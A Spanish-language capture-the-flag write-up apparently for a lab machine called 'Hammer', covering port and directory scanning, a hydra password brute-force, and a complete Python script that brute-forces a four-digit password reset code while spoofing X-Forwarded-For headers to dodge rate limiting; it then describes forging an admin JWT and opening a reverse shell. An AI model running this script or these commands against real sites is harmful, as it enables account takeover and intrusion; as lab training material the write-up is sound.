Hammer

nmap -sS -sC -sV -vvv -p- -oA escaneo 10.10.18.14

Como resultado obtengo que los puertos 22-ssh y 1337-http estan abiertos
En primer instancia pense que al ingresar "10.10.18.14:1337" me encontraria con una web, lo que para mi sorpresa no fue así sin mas, asique continue por realizar una busqueda de directorios y/o archivos expuestos
gobuster dir -u http://10.10.18.14:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,bak,js,py -o Fuzz.txt

En index.php podemos ver que hay un panel de login pero al no contar con ningun posible usuario, no hay mucho por hacer

Antes de continuar revisando el resto de directorios, me puse a mirar el codigo fuente y para mi sorpresa me encontre con una nota que me indica el volver a realizar un Fuzz de directorio

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.18.14:1337/hmr_FUZZ -s

obtuve 4 resultados: css, images, js, logs. Agregando hmr_ al inicio.. se logra ver un "error.logs"

Despues de analizar el archivo, en los logs se ven 2 intentos de autenticazion fallidos con el mismo mail. Asique lo guarde para mas adelante, antes se vio un panel de login y la opcion de restablecer contraseña.

Al tener un mail, lo primero que podemos probar es realizar un ataque de fuerza
hydra -l tester@hammer.thm -P /usr/share/wordlists/rockyou.txt 10.10.18.14 -s 1337 http-post-form "/:email=tester@hammer.thm&password=^PASS^:Invalid Email or Password"
Como no obtuve ningun resultado intente restablecer la contraseña del usuario, donde me pedia un código de cuatro dígitos que era válido durante un cierto lapso de tiempo.
Una opcion era interceptar la solicitud y forzar el codigo con una lista de códigos de cuatro dígitos usando "crunch 4 4 0123456789 -o codigos.txt" pero hay un mecanismo de fuerza bruta que te bloqueará después de 5 intentos en cada PHPSESSID y solo tienes 180 segundos
Despues de un largo rato encontré un script que al proporcionarle la url y PHPSESSID, lograba conseguir el código
import sys
import requests
import random
def generate_random_ip():
# Generate a random IP address in the range of valid public IPs
return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}"
def send_post_request(url, code):
# Adding the random X-Forwarded-For header
headers = {
'X-Forwarded-For': generate_random_ip(),
'User-Agent': 'Mozilla/5.0',
'Cookie': 'PHPSESSID=X',
'Cache-Control': 'max-age=0'
}
data = {
'recovery_code': code,
's':'100000'
}
# Sending the POST request with headers and data
response = requests.post(url, data=data, headers=headers)
return response
def main():
if len(sys.argv) != 2:
print("Usage: python script.py <filename>")
sys.exit(1)
filename = sys.argv[1]
url = "IP:PORT/reset_password.php"
try:
with open(filename, 'r') as file:
for line in file:
code = line.strip()
if len(code) != 4 or not code.isdigit():
print(f"Invalid code format: {code}")
continue
# Send the request
response = send_post_request(url, code)
# Check if the response indicates a redirect (302)
if not "Invalid or expired recovery code" in response.text:
print(f"Success! The correct code is: {code}")
break
else:
print(f"Attempt with code {code} failed, status code: {response.status_code}")
except FileNotFoundError:
print(f"File {filename} not found!")
sys.exit(1)
if __name__ == "__main__":
main()
Con el script modificado correctamente, al ejecutarlo en conjunto con el listado creado anteriormente

Nos proporciona el código y nos habilita a cambiar la clave del usuario

Una vez logeado.. Se obtiene la primer flag, y además una posible de establecer una revershell, pero de momento solo me permite enumerar los contenidos del directorio..
De todo lo enumerado decidí descargarme el archivo .key con wget
Al interceptar la solicitud, analizando la misma se puede ver que incluye un token JWT, teniendo el secret que contenía el archivo .key, tome el token de la solicitud para modificarlo e intentar ejecutar comando como admin

Como se ve en la imagen, habiendo modificado el token, nos permite ejecutar otro comando que no sea "ls" como sucedía anteriormente
De esa forma, logre establecer una revershell

Una vez con la shell establecida, obtuve la última flag

Última actualización